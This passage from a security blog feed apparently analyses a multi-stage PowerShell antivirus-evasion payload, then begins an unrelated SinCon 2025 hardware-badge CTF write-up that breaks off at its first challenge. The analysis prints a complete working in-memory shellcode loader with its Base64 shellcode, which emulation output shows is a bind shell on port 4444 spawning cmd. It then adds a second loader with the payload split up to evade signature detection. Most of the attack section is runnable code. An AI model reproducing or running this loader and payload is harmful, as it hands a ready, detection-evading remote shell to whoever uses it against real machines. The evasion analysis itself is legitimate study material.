AUgB3AFIASABJAGQASgBrAGgAQgBRAEsAVwBiAGwARwAxAHIAYgBYAGIASgB1AFMAeABzADgARQAnACcAKwAnACcATAA5AEwASABUAGEAUwAnACcAKwAnACcAcgBRAGIAZgA0AGwAYgBSAGwAZgAnACcAKwAnACcATgAvADcAMAB2AFIAQQBWAHkAVwAyAGMAeQArAEQAegAyAEMAVAB3AE4AbwBKAHIASABXAFAASAA1AHkAQQByADAARgBNAFYATwBLAEMAegBkAGkATgByAHMAZgBnAHIAdABIAGEAYgBXAFYAdgAxADEAcQBSAHcAVQBmAGoAOAB0AFMANQAzAG4ANwB1AHUARQAyAFQANgA4AEgAYgBCADUALwBhAHkAMQBYAGIANQA3AHEAZQByAFgAcwBJAHoAcQBRAHYALwBiAHYAbABWAEUATwBGAC8AeAByAEUAVwB5AFYANAA4AE0AMQBzAE8AMQBjAGoAVwA3AHIAdgBtAFYAUQB5AHIAbwBkAG4AcwA4AFMAUgBCADQAbwBtAEkAWQBOAGMAMwBYAFMAMQAyADUAMABuAGgAVwBCAHoARABjAHUAUwBzACcAJwArACcAJwBkAGMAYgBOAE0ALwA0AGQAOQBEAE0ANQBPAFAAQgAxAHMAagBnAHYAVAB6AEYAOQByAGIAcABiADgAQwBIAFgAbAArAEgAOAAzADAAbAAyAHgATQBwADkAVQBpAC8AUAB3AFUATQBsAHAAcwB0AHMAdwB7ADEAfQBUAGIAWABtAC8AcABzAHQAagBKAC8AZgByAFQAQQB2AEgAYQBIAGIAVwBEAFgAdQBmAE8AMwAxAEQAUwBWAHYAMgB4AEYANQAvAHUAZQBmAFkARQBTAGQAdQB0AHIAVwBMAGkAdwA5AEEAOABMAGwAQgBBAHYAYgBwAGUARgBGAHgAagA5AHUAVwB6AHYAdgBBACsAMwBjAFYAUgB6AE4ARwB6ADMAagArAFcAcAA4AGIAVwBYAEgAaQBXAHgAVAA0AEQALwAyAHIAcgBFAE4ASwBHAEMAdABGAFIAeABxAEgAaABHAHUASQBJAHIALwBkAHIASABBAGMAWQBBAHIAWABBAGIAZwB3AGwATwBtAEwASwBBADEAdAAzAGgARgA1ADYANABKAG0AdgBHACsAUgB2AEcATQBiAGEAdQA3AFYAbwBhACsAYQA4AEMAaABZAGUAKwBxAFQANQBkAFQANQArAFEAeAA4AGgASQBMAEEAYwA3AFUAeAB4AEkASABIAC8ASABwAHIAOQA2AG4AVgBnAGcAYgBYADIAcgBVADYAZQBlAEsALwAvAFcAVABkAE0ATQByAEUAMwBGAGkAZAB0ADgAZwBjAG0AdABJADYAegBhADIAJwAnACsAJwAnAEQAUQBlAEkASwBvAHYAagBiADAAWQBLAHIARQBJAE8AUwAvAEMAcABlAHIAMABFAEgATwA2ACsAZwBnAEUASgBGADMAMQBjADEARABxAEEAVQBoAHYAUQA1AGYATQBXADUASAB0AG4AdwBIAEQAMgBBAHIAUQAxAEgAbgAvAE4AYgAwAEoANABtAFkATwBJAEkAMwB3AHMAJwAnACsAJwAnAFYAeAB1ADgASQB6ACsAOABjAEYAUwB1AEoAZgB5AHQAeABpAHUAcgBzAHcANAAvAHoATAA4AFIANQBtAHYAdQBIADEAVABlAFIAcQBWAFgAZgB3AC8AUABMADkATQB1AEoAewAxAH0AMwAzAHQAJwAnACsAJwAnADkAdwBFAHcAJwAnACsAJwAnAHQAUQBnAEQAUQBSADIAYQBEAE0AWAA3AGkAOAA5AEIASABJAHAAYwBlAFIAewAxAH0AaABDAEEAMABrAGcAbABzADgALwBBAC8AQgBkAGMAcQBPAHIAdQBCADYAbQBiAGUANQB2AHcARgBiAE4ARQBxAHUAaQB3AHcAQQBBAEEAewAwAH0AewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwBaACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This deobfuscation can also be performed manually for analysis, using the Base64 string from the first-stage script, to obtain the second-stage script:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;$compressed = (((&quot;H4sIAPtILWgCA7VXbW+bSBD+Xqn/AVWWjFXHL6mTpp&quot; + &quot;Ei3WJDjGsnJhjc2LVOGBbYeA0EFtuk1/9+sxjyojp3u{1}OKhMzuzszOPvPMzNpNA5uRMBAiSx{1}+vH8nFM/Yiq21IFbuBid1oWL9OUGntafVSnQjn62EC0GcoyjqhWuLBIv&quot; + &quot;z824axzhg+3HjEjOUJHi9pAQnYk34S5j6OM{1}H18s7bDPhh1D5s3FJw6VFC7Gsa9k+Fo5Q4PC1YWhb3LWGHlHCxOr379Xa/Ki9aMj3qUUTsapnCcPrhk&quot; + &quot;NptSb8rPENJ1mExeqI2HGYhC5rTEnw6bhhBInl4iuwtsEjzPzQSapwmqfzxJilcVAci9v{1}S4lV+BzHoY0cJ8{1}JUq0Lc77DfLH4Q5wX29+kASNr3FADhuMw0nG8IT{1}OGn0rcCi+we4CtHQWk8Bb1GogtglXWKwEKaV14b+YEa/wtgTvrUricyWQGrO4VoewHjroKHRSiveq1QOeci7U4HnkA&quot;+&quot;0D4k6Polh&quot;+&quot;zafJsd4NDTRPnM8xUMPovjMCG57oXQqgsj2NxiY{1}zBsDKJU1xbPCIuVOwoOAnrbzXXLnVBM7OXMDM3Q+IsnvRfUKBiXbpc5nU+97BLAtzLAmtN7JKy4qGoYJfiHJFGKXYF/onVYgE7PUyx{1}zEOMyfHL2rymrBHXSkl1MExsiGyCXgFQa+9dGYfObGqBiO8BvT2Y2BrxYVEwaV0kRx{1}uTsfg1C1S60kqQvjFDLVrgs6tih26gIKElIso{1}SF+Wf1yd1RShmxrYSV5ha1l2gWu3bDIGFxakNYAYGJ&quot;+&quot;HmGbWJQDUhf6xMFSphOv3L16EI6uRSmkD1jaQDhghsOgM06WGBzdE6PW0DFT1xHFaxDKK4dCLQ/qRJElOb0sDzv&quot;+&quot;Vw46WqbDnPQemROS{1}mxBtnYasLpgk{1}lCGOMjArv/nxK8FiHvTjXERHLHMsLmUM{1}4DlUS/VTlLC4xyRGIGaChxuJa&quot;+&quot;sBJ929qVG/NCUSe9k3Au3CB5{1}udFMSTfMmTpyBlRXmX4rk6Hh+yppqx6&quot;+&quot;MM0P2xqwVf{1}1M+gO910dxb+e7SE1UuS9lWltCdp98NgeSYYAe6Q61u52KnO7QUz3YQFJ9W2rNWp7UUrpDXfJl0kKervW1TnumNs+oRB50V&quot;+&quot;Uf96aP9R7typ9P/tpugq9EA+cq1o7SPlVx/xfVnq8thT87HNh9rt4lM{1}NhHVm4108dTM5KmsjLTzEj1Pm49zRw&quot;+&quot;2O4ov&quot;+&quot;wbxKdsPIbMLTbg82gfMwom&quot;+&quot;cPI3BXM2cDgmeqhzMPaQjptwHVl9sukhQb7fEyYG41UYOdtoxGTnbbb34xRwRHIdJkhBQKWblG1rbXbJuSxs8E&quot;+&quot;L9LHTaS&quot;+&quot;rQbf4lbRlf&quot;+&quot;N/70vRAVyW2cy+Dz2CTwNoJrHWPH5yAr0FMVOKCzdiNrsfgrtHabWVv11qRwUfj8tS53n7uuE2T68HbB5/ay1Xb57qerXsIzqQv/bvlVEOF/xrEWyV48M1sO1cjW7rvmVQyrodns8SRB4omIYNc3XS1250nhWBzDcuSs&quot;+&quot;dcbNM/4d9DM5OPB1sjgvTzF9rbpb8CHXl+H830l2xMp9Ui/PwUMlpstsw{1}TbXm/pstjJ/frTAvHaHbWDXufO31DSVv2xF5/uefYESdutrWLiw9A8LlBAvbpeFFxj9uWzvvA+3cVRzNGz3j+Wp8bWXHiWxT4D/2rrENKGCtFRxqHhGuIIr/drHAcYArXAbgwlOmLKA1t3hF564JmvG+RvGMbau7Voa+a8ChYe+qT5dT5+Qx8hILAc7UxxIHH/Hpr96nVggbX2rU6eeK//WTdMMrE3Fidt8gcmtI6za2&quot;+&quot;DQeIKovjb0YKrEIOS/Cper0EHO6+ggEJF31c1DqAUhvQ5fMW5HtnwHD2ArQ1Hn/Nb0J4mYOII3ws&quot;+&quot;Vxu8Iz+8cFSuJfytxiursw4/zL8R5mvuH1TeRqVXfw/PL9MuJ{1}33t&quot;+&quot;9wEw&quot;+&quot;tQgDQR2aDMX7i89BHIpceR{1}hCA0kgls8/A/BdcqOruB6mbe5vwFbNEquiwwAAA{0}{0}&quot;) -f&quot;=&quot;,&quot;Z&quot;)))
$bytes = [System.Convert]::FromBase64String($compressed)
$stream = New-Object System.IO.MemoryStream(, $bytes)
$gzip = New-Object System.IO.Compression.GzipStream($stream, [System.IO.Compression.CompressionMode]::Decompress)
$reader = New-Object System.IO.StreamReader($gzip)
$script = $reader.ReadToEnd()
Write-Output $script
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This &quot;manual method&quot; reveals the second-stage script, which is then analyzed for its shellcode execution capabilities.&lt;/p&gt;
&lt;h3&gt;Second-Stage Script: In-Memory Shellcode Execution&lt;/h3&gt;
&lt;p&gt;The deobfuscated second-stage script (&lt;code&gt;payload.ps1&lt;/code&gt;) is designed to execute shellcode directly in memory, a common tactic to bypass file-based AV detection.&lt;/p&gt;
&lt;p&gt;Key features of this script:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Dynamic Function Resolution&lt;/strong&gt;: It avoids static analysis of imported functions by dynamically resolving critical Windows API functions (e.g., &lt;code&gt;VirtualAlloc&lt;/code&gt;, &lt;code&gt;CreateThread&lt;/code&gt;, &lt;code&gt;VirtualProtect&lt;/code&gt;, &lt;code&gt;WaitForSingleObject&lt;/code&gt;). This is done using reflection and custom functions like &lt;code&gt;paE&lt;/code&gt; (likely for &lt;code&gt;GetProcAddress&lt;/code&gt; via &lt;code&gt;GetModuleHandle&lt;/code&gt;) and &lt;code&gt;vXZ&lt;/code&gt; (for creating delegate types on the fly).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dynamic Assembly Creation&lt;/strong&gt;: The script uses &lt;code&gt;DefineDynamicAssembly&lt;/code&gt; and &lt;code&gt;DefineDynamicModule&lt;/code&gt; to create .NET assemblies in memory. This allows it to define and use types, such as delegates for P/Invoke calls, without writing to disk.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shellcode Handling&lt;/strong&gt;: The shellcode is stored as a Base64 encoded string within the script. It&apos;s decoded and copied into an executable memory region allocated by &lt;code&gt;VirtualAlloc&lt;/code&gt;. &lt;code&gt;VirtualProtect&lt;/code&gt; might be used to change memory permissions before execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;function paE {
        Param ($jJ5, $a_TA6)
        $pRE8k = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&apos;\&apos;)[-1].Equals(&apos;System.dll&apos;) }).GetType(&apos;Microsoft.Win32.UnsafeNativeMethods&apos;)

        return $pRE8k.GetMethod(&apos;GetProcAddress&apos;, [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($pRE8k.GetMethod(&apos;GetModuleHandle&apos;)).Invoke($null, @($jJ5)))), $a_TA6))
}

function vXZ {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $cpn5o,
                [Parameter(Position = 1)] [Type] $ycb = [Void]
        )

        $aGf = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&apos;ReflectedDelegate&apos;)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(&apos;InMemoryModule&apos;, $false).DefineType(&apos;MyDelegateType&apos;, &apos;Class, Public, Sealed, AnsiClass, AutoClass&apos;, [System.MulticastDelegate])
        $aGf.DefineConstructor(&apos;RTSpecialName, HideBySig, Public&apos;, [System.Reflection.CallingConventions]::Standard, $cpn5o).SetImplementationFlags(&apos;Runtime, Managed&apos;)
        $aGf.DefineMethod(&apos;Invoke&apos;, &apos;Public, HideBySig, NewSlot, Virtual&apos;, $ycb, $cpn5o).SetImplementationFlags(&apos;Runtime, Managed&apos;)

        return $aGf.CreateType()
}

[Byte[]]$sSYI = [System.Convert]::FromBase64String(&quot;/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCABFcAAAAAEFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1VBQTTHJTTHASP/ASInCSP/ASInBQbrqD9/g/9VIicdqEEFYTIniSIn5QbrC2zdn/9VIMdJIiflBurfpOP//1U0xwEgx0kiJ+UG6dOw74f/VSIn5SInHQbp1bk1h/9VIgcSgAgAASbhjbWQAAAAAAEFQQVBIieJXV1dNMcBqDVlBUOL8ZsdEJFQBAUiNRCQYxgBoSInmVlBBUEFQQVBJ/8BBUEn/yE2JwUyJwUG6ecw/hv/VSDHSSP/Kiw5BugiHHWD/1bvwtaJWQbqmlb2d/9VIg8QoPAZ8CoD74HUFu0cTcm9qAFlBidr/1Q==&quot;)
[Uint32]$f21aS = 0
$dQUM = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll VirtualAlloc), (vXZ @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $sSYI.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($sSYI, 0, $dQUM, $sSYI.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll VirtualProtect), (vXZ @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($dQUM, [Uint32]$sSYI.Length, 0x10, [Ref]$f21aS)) -eq $true) {
        $asr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll CreateThread), (vXZ @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$dQUM,[IntPtr]::Zero,0,[IntPtr]::Zero)
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll WaitForSingleObject), (vXZ @([IntPtr], [Int32]))).Invoke($asr,0xffffffff) | Out-Null
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/evasiondecrypttwo.n9tT9nDR_1W0kmk.webp&quot; alt=&quot;Second layer script analysis with shellcode loading&quot;&gt;
&lt;em&gt;Analysis of the second-stage PowerShell script, showing shellcode loading and execution.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Shellcode Analysis&lt;/h3&gt;
&lt;p&gt;The final payload is the shellcode. Analysis of this shellcode reveals its purpose, which is typically to establish a command and control (C2) channel or deploy further malware.&lt;/p&gt;
&lt;p&gt;Raw shellcode (partial view):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fc 48 83 e4 f0 e8 c0 00 00 00 41 51 41 50 52 51 56 48 31 d2 65 48 8b 52 60 48 8b 52 18 48 8b 52 20 48 8b 72 50 48 0f b7 4a 4a 4d 31 c9 48 31 c0 ac 3c 61 7c 02 2c 20 41 c1 c9 0d 41 01 c1 e2 ed 52 41 51 48 8b 52 20 8b 42 3c 48 01 d0 8b 80 88 00 00 00 48 85 c0 74 67 48 01 d0 50 8b 48 18 44 8b 40 20 49 01 d0 e3 56 48 ff c9 41 8b 34 88 48 01 d6 4d 31 c9 48 31 c0 ac 41 c1 c9 0d 41 01 c1 38 e0 75 f1 4c 03 4c 24 08 45 39 d1 75 d8 58 44 8b 40 24 49 01 d0 66 41 8b 0c 48 44 8b 40 1c 49 01 d0 41 8b 04 88 48 01 d0 41 58 41 58 5e 59 5a 41 58 41 59 41 5a 48 83 ec 20 41 52 ff e0 58 41 59 5a 48 8b 12 e9 57 ff ff ff 5d 49 be 77 73 32 5f 33 32 00 00 41 56 49 89 e6 48 81 ec a0 01 00 00 49 89 e5 49 bc 02 00 11 5c 00 00 00 00 41 54 49 89 e4 4c 89 f1 41 ba 4c 77 26 07 ff d5 4c 89 ea 68 01 01 00 00 59 41 ba 29 80 6b 00 ff d5 50 50 4d 31 c9 4d 31 c0 48 ff c0 48 89 c2 48 ff c0 48 89 c1 41 ba ea 0f df e0 ff d5 48 89 c7 6a 10 41 58 4c 89 e2 48 89 f9 41 ba c2 db 37 67 ff d5 48 31 d2 48 89 f9 41 ba b7 e9 38 ff ff d5 4d 31 c0 48 31 d2 48 89 f9 41 ba 74 ec 3b e1 ff d5 48 89 f9 48 89 c7 41 ba 75 6e 4d 61 ff d5 48 81 c4 a0 02 00 00 49 b8 63 6d 64 00 00 00 00 00 41 50 41 50 48 89 e2 57 57 57 4d 31 c0 6a 0d 59 41 50 e2 fc 66 c7 44 24 54 01 01 48 8d 44 24 18 c6 00 68 48 89 e6 56 50 41 50 41 50 41 50 49 ff c0 41 50 49 ff c8 4d 89 c1 4c 89 c1 41 ba 79 cc 3f 86 ff d5 48 31 d2 48 ff ca 8b 0e 41 ba 08 87 1d 60 ff d5 bb f0 b5 a2 56 41 ba a6 95 bd 9d ff d5 48 83 c4 28 3c 06 7c 0a 80 fb e0 75 05 bb 47 13 72 6f 6a 00 59 41 89 da ff d5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Emulation with tools like &lt;code&gt;speakeasy&lt;/code&gt; can reveal its behavior:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;speakeasy -t shellcode.bin  -r -a x64 
* exec: shellcode
0x10fe: &apos;kernel32.LoadLibraryA(&quot;ws2_32&quot;)&apos; -&gt; 0x78c00000
0x110f: &apos;ws2_32.WSAStartup(0x101, 0x1203e08)&apos; -&gt; 0x0
0x112b: &apos;ws2_32.WSASocketA(&quot;AF_INET&quot;, &quot;SOCK_STREAM&quot;, 0x0, 0x0, 0x0, 0x0)&apos; -&gt; 0x4
0x1140: &apos;ws2_32.bind(0x4, &quot;0.0.0.0:4444&quot;, 0x10)&apos; -&gt; 0x0
0x114e: &apos;ws2_32.listen(0x4, 0x0)&apos; -&gt; 0x0
0x115f: &apos;ws2_32.accept(0x4, 0x0, 0x0)&apos; -&gt; 0x8
0x116d: &apos;ws2_32.closesocket(0x4)&apos; -&gt; 0x0
0x11c2: &apos;kernel32.CreateProcessA(0x0, &quot;cmd&quot;, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1203f38, 0x1203f20)&apos; -&gt; 0x1
0x11d2: &apos;kernel32.WaitForSingleObject(0x220, 0xffffffffffffffff)&apos; -&gt; 0x0
0x11df: &apos;kernel32.GetVersion()&apos; -&gt; 0x1db10106
0x11f9: &apos;kernel32.ExitProcess(0x0)&apos; -&gt; 0x0
* Finished emulating
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Summary of Shellcode Behavior:&lt;/strong&gt;
The shellcode executes the following actions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Loads &lt;code&gt;ws2_32.dll&lt;/code&gt; (Windows Sockets API).&lt;/li&gt;
&lt;li&gt;Initializes Winsock.&lt;/li&gt;
&lt;li&gt;Creates a TCP socket.&lt;/li&gt;
&lt;li&gt;Binds the socket to listen on all available network interfaces on port 4444.&lt;/li&gt;
&lt;li&gt;Accepts an incoming connection on this port.&lt;/li&gt;
&lt;li&gt;Closes the original listening socket.&lt;/li&gt;
&lt;li&gt;Creates a new &lt;code&gt;cmd.exe&lt;/code&gt; process, effectively providing a command prompt.&lt;/li&gt;
&lt;li&gt;Waits for the &lt;code&gt;cmd.exe&lt;/code&gt; process to terminate.&lt;/li&gt;
&lt;li&gt;Retrieves the operating system version (likely for telemetry or compatibility checks).&lt;/li&gt;
&lt;li&gt;Exits the current process.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In essence, this shellcode implements a bind shell: it listens on port 4444 and provides an interactive command prompt to any client that connects to it.&lt;/p&gt;
&lt;h3&gt;Further Evasion: Splitting the Payload&lt;/h3&gt;
&lt;p&gt;To make signature-based detection more difficult, the Base64 encoded shellcode within the PowerShell script can be split into multiple string variables. These variables are then concatenated at runtime before the shellcode is decoded and executed.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;function paE {
        Param ($jJ5, $a_TA6)
        $pRE8k = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&apos;\&apos;)[-1].Equals(&apos;System.dll&apos;) }).GetType(&apos;Microsoft.Win32.UnsafeNativeMethods&apos;)

        return $pRE8k.GetMethod(&apos;GetProcAddress&apos;, [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($pRE8k.GetMethod(&apos;GetModuleHandle&apos;)).Invoke($null, @($jJ5)))), $a_TA6))
}

function vXZ {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $cpn5o,
                [Parameter(Position = 1)] [Type] $ycb = [Void]
        )

        $aGf = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&apos;ReflectedDelegate&apos;)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(&apos;InMemoryModule&apos;, $false).DefineType(&apos;MyDelegateType&apos;, &apos;Class, Public, Sealed, AnsiClass, AutoClass&apos;, [System.MulticastDelegate])
        $aGf.DefineConstructor(&apos;RTSpecialName, HideBySig, Public&apos;, [System.Reflection.CallingConventions]::Standard, $cpn5o).SetImplementationFlags(&apos;Runtime, Managed&apos;)
        $aGf.DefineMethod(&apos;Invoke&apos;, &apos;Public, HideBySig, NewSlot, Virtual&apos;, $ycb, $cpn5o).SetImplementationFlags(&apos;Runtime, Managed&apos;)

        return $aGf.CreateType()
}
$evasionpayload = &quot;/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/&quot;
$evasionpayload += &quot;4FhBWVpIixLpV////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCABFcAAAAAEFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1VBQTTHJTTHASP/ASInCSP/ASInBQbrqD9/g/9VIicdqEEFYTIniSIn5QbrC2zdn/9VIMdJIiflBurfpOP//&quot;
$evasionpayload += &quot;1U0xwEgx0kiJ+UG6dOw74f/VSIn5SInHQbp1bk1h/9VIgcSgAgAASbhjbWQAAAAAAEFQQVBIieJXV1dNMcBqDVlBUOL8ZsdEJFQBAUiNRCQYxgBoSInmVlBBUEFQQVBJ/8BBUEn/yE2JwUyJwUG6ecw/hv/VSDHSSP/Kiw5BugiHHWD/1bvwtaJWQbqmlb2d/9VIg8QoPAZ8CoD74HUFu0cTcm9qAFlBidr/1Q==&quot;
[Byte[]]$sSYI = [System.Convert]::FromBase64String($evasionpayload)
[Uint32]$f21aS = 0
$dQUM = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll VirtualAlloc), (vXZ @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $sSYI.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($sSYI, 0, $dQUM, $sSYI.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll VirtualProtect), (vXZ @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($dQUM, [Uint32]$sSYI.Length, 0x10, [Ref]$f21aS)) -eq $true) {
        $asr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll CreateThread), (vXZ @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$dQUM,[IntPtr]::Zero,0,[IntPtr]::Zero)
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((paE kernel32.dll WaitForSingleObject), (vXZ @([IntPtr], [Int32]))).Invoke($asr,0xffffffff) | Out-Null
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Conclusion: Evasion Strategy&lt;/h3&gt;
&lt;p&gt;The PowerShell payload uses a sophisticated, multi-stage strategy to evade detection:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Initial Obfuscation&lt;/strong&gt;: The attack starts with a Base64 encoded command, hiding the initial script from simple static analysis and casual inspection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Layered Deobfuscation&lt;/strong&gt;: The first-stage script downloads and deobfuscates a second-stage script (using Gzip and Base64 encoding), delaying the exposure of the core malicious logic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;In-Memory Operations&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Both the second-stage script and the final shellcode are executed entirely in memory. This bypasses AV scanners that primarily focus on detecting malicious files on the disk.&lt;/li&gt;
&lt;li&gt;Dynamic API resolution and in-memory .NET assembly compilation make it harder for AV systems to detect malicious P/Invoke calls through static analysis of import tables.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shellcode Obfuscation&lt;/strong&gt;: Storing the shellcode as a Base64 string (and potentially splitting it across multiple variables) helps to hide it from basic signature-based detection methods.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These combined techniques significantly improve the payload&apos;s ability to evade detection by traditional Antivirus solutions.&lt;/p&gt;</content:encoded><h:img src="/_astro/banner.CqCGtCuP.jpg"/><enclosure url="/_astro/banner.CqCGtCuP.jpg"/></item><item><title>The SinCon 2025 Dragon Badge</title><link>https://gr1d-init.github.io/blog/sincondragonbadge</link><guid isPermaLink="true">https://gr1d-init.github.io/blog/sincondragonbadge</guid><description>Writeups for SinCon Dragon Badge Challenges</description><pubDate>Sat, 24 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;SinCon 2025&apos;s hardware badge reimagines Singapore&apos;s iconic Dragon Playground as an interactive CTF challenge. This nostalgic tribute to the Dragon Playground at Toa Payoh, Singapore.
&lt;img src=&quot;https://gr1d-init.github.io/_astro/playground.BB1FvR60_CeBrT.webp&quot; alt=&quot;Dragon Playground&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Getting Started&lt;/h2&gt;
&lt;h3&gt;Badge Assembly&lt;/h3&gt;
&lt;p&gt;First, you&apos;ll need to solder the badge with 8 LEDs. Follow the comprehensive assembly guide:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;📄 &lt;a href=&quot;https://github.com/gr1d-init/gr1d-init.github.io/blob/a6a38534c63f7162651ea4e7ad0ca0fd554bcb4d/src/content/post/sincondragonbadge/assets/sincon-dragon-solder.pdf&quot;&gt;Assembly Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Environment Setup&lt;/h3&gt;
&lt;p&gt;Once your badge is assembled, set up the CTF environment:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;📄 &lt;a href=&quot;https://github.com/gr1d-init/gr1d-init.github.io/blob/a6a38534c63f7162651ea4e7ad0ca0fd554bcb4d/src/content/post/sincondragonbadge/assets/sincon-dragon-ctf.pdf&quot;&gt;CTF Setup Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Challenge Writeups&lt;/h2&gt;
&lt;h3&gt;Challenge 1&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;baaba abaaa abbab aaaba abbba abbab
aaabb baaab aaaaa aabba abbba abbab
&lt;/code&gt;&lt;/pre&gt;
